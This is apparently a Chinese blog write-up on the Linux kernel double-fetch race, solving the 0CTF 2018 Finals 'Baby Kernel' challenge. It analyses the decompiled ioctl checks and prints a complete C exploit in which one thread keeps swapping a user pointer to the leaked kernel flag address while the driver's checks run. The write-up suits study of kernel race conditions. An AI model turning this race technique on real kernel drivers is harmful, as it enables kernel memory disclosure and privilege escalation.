Linux kernel pwn(三):Double Fetch

原理介绍

首先看看CTF WIKI上面的解析:

Double Fetch 从漏洞原理上属于条件竞争漏洞,是一种内核态与用户态之间的数据访问竞争。
在 Linux 等现代操作系统中,虚拟内存地址通常被划分为内核空间和用户空间。内核空间负责运行内核代码、驱动模块代码等,权限较高。而用户空间运行用户代码,并通过系统调用进入内核完成相关功能。通常情况下,用户空间向内核传递数据时,内核先通过通过 copy_from_user 等拷贝函数将用户数据拷贝至内核空间进行校验及相关处理,但在输入数据较为复杂时,内核可能只引用其指针,而将数据暂时保存在用户空间进行后续处理。此时,该数据存在被其他恶意线程篡改风险,造成内核验证通过数据与实际使用数据不一致,导致内核代码执行异常。
一个典型的 Double Fetch 漏洞原理如下图所示,一个用户态线程准备数据并通过系统调用进入内核,该数据在内核中有两次被取用,内核第一次取用数据进行安全检查(如缓冲区大小、指针可用性等),当检查通过后内核第二次取用数据进行实际处理。而在两次取用数据之间,另一个用户态线程可创造条件竞争,对已通过检查的用户态数据进行篡改,在真实使用时造成访问越界或缓冲区溢出,最终导致内核崩溃或权限提升。

这里补充说明一点,当用户空间向内核传递数据时,除了使用copy_from_user等函数直接将用户数据拷贝至内核外,还有另外一种情况就是向内核传递的只是数据指针,数据仍然存储在用户空间,那存储于用户空间的数据就可能被篡改。这就是可利用double fetch利用的条件之一。

题目分析

这里主要是利用了2018 0CTF Finals Baby Kernel这一道题。好像这道题当初是只给了驱动文件和文件镜像,需要我们在ida中查看驱动所使用的内核版本,自己再对应去下载处理,而且我们的启动脚本也是自己书写。这里我不多赘述。贴一个P4nda师傅的,里面连EXP都已经写好打包进内核了。懒狗自惭形愧。
直接将我们的驱动拉进ida查看,可以看到,编写的函数不多,我们的init是调用misc_register()注册了一个杂项设备baby。

然后查看我们的ioctl函数:

可以看到,在我们的ioctl函数中,有两个分支。
第一个分支是打印我们的flag的地址:

 if ( (_DWORD)a2 == 26214 )                    // 0x6666
  {
    printk("Your flag is at %px! But I don't think you know it's content
", flag);// 打印flag的加载地址
    result = 0LL;
  }

另一个分支是打印flag的值:

 else if ( (_DWORD)a2 == 4919                  // 0x1337
         && !_chk_range_not_ok(v2, 16LL, *(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 4952))// 判断我们的结构体是否在用户态
         && !_chk_range_not_ok(
               *(_QWORD *)v5,
               *(signed int *)(v5 + 8),
               *(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 4952))// 判断我们结构体里面的flag是否在用户态
         && *(_DWORD *)(v5 + 8) == strlen(flag) )
  {
    for ( i = 0; i < strlen(flag); ++i )
    {
      if ( *(_BYTE *)(*(_QWORD *)v5 + i) != flag[i] )// 将v5=v2=rdx与flag逐字符比较,如果全都对才打印下来
        return 22LL;
    }
    printk("Looks like the flag is not a secret anymore. So here is it %s
", flag);
    result = 0LL;
  }

然后我们查看一下打印flag时需要绕过的验证,总共需要绕过四个条件,:

首先我们查看一下第一和第二个条件的含义,_chk_range_not_ok函数,发现ida反编译过来的伪C不太清晰,直接查看汇编;发现其实是先将我们的第一个参数和第二个参数相加,看是否产生进位,如果进位直接将我们的eax赋值为1;如果无进位,则返回第一个参数与第二个参数的和与第三个参数比较,看看和是否大于我们的第三个参数。其实感觉有点多余的比较,很多师傅都是一句话概括:其实就是判断a3是否小于a2+a1.。。用来判断是否越界。

发现第三个参数有点奇怪,于是动态调试一下看看具体是什么值;
发现我们的第三个参数是一个定值:0x7fffffff000

其实就是我们的用户空间。
这里涉及到64位进程的内存布局,在64位系统中,没有完全用到64位长的地址空间,只有低48位用来寻址,虚拟内存空间为256TB(2^48),同样采用经典内存布局,如下图所示。

所以,由以上信息,我们可以推断我们的v2传过来的是一个结构体指针:

typedef struct {  
   char *flag_addr;  
   size_t len;  
} Data;

所以,打印flag的前三个验证就是:1.数据的指针是否指向用户态?2.flag的指针是否指向用户态?3.flag的长度是否等于内核中真正的flag的长度?

漏洞分析

其实乍看感觉是没有问题的,但是我们需要将前三个验证条件和第四个分开思考;

这就表明我们可以在判断flag地址范围和flag内容之间进行竞争,通过第一处的检查之后就把flag的地址偷换成内核中真正flag的地址;然后自身与自身做比较,通过检查得到flag,这里就涉及到我们的条件竞争的问题了。
我们先构造一个user_data来绕过第一大块的验证,这里主要是要验证我们的user_data和flag指针等是否在我们的用户态,以及user_data中的size位的验证。然后在第二块验证的时候,创建一个恶意线程,不断地更改我们user_data中地flag指针为内核中真正flag的位置,这里利用到第一个分支,打印出我们的flag内核中的地址。

最终EXP

From P4nda大牛

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <pthread.h>

#define TRYTIME 0x1000

char s[] =   "flag{AAAA_BBBB_CC_DDDD_EEEE_FFFF}";
//char s2[] = "flag{THIS_WILL_BE_YOUR_FLAG_1234}";

struct t{
	char * flag;
	size_t size; 
};


char* flagaddr=NULL;

int finish = 0;

void * run_thread(void * vvv)
{	
	struct t* v5 = vvv;
	while(!finish) {
		v5->flag = flagaddr;
	}	
	
}

int main(){
	
	setvbuf(stdin,0,2,0);
	setvbuf(stdout,0,2,0);
	setvbuf(stderr,0,2,0);

	printf("{==DBG==} this is exp :p

");

	int fd = open("/dev/baby",0);
	printf("{==DBG==} fd: %d
",fd);
	int ret = ioctl(fd,0x6666);

	scanf("%px",&flagaddr);
	printf("{==DBG==} get addr: %p
",flagaddr);

	struct t * v5 = (struct t * )malloc(sizeof(struct t));

	v5->size = 33;
	v5->flag = s;

	pthread_t t1;

	pthread_create(&t1, NULL, run_thread,v5);

	for(int i=0;i<TRYTIME;i++){
		ret = ioctl(fd, 0x1337, v5);
		if(ret != 0){
			//printf("{==DBG==} ret: %d
",ret);
			printf("{==DBG==} addr: %p
",v5->flag);
		}else{
			goto end;
		}
		v5->flag = s;
	}
end:
	finish = 1;

	pthread_join(t1, NULL);
	close(fd);

	return 0;
}

参考

https://veritas501.space/2018/06/04/0CTF final baby kernel/
http://p4nda.top/2018/07/20/0ctf-baby/
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/double-fetch-zh/
https://orangegzy.github.io/2020/09/10/Linux-Kernel-pwn-1-——Double-fetch/
https://x3h1n.github.io/2019/08/27/20180ctf-final-baby/

原文地址:https://www.cnblogs.com/T1e9u/p/13837662.html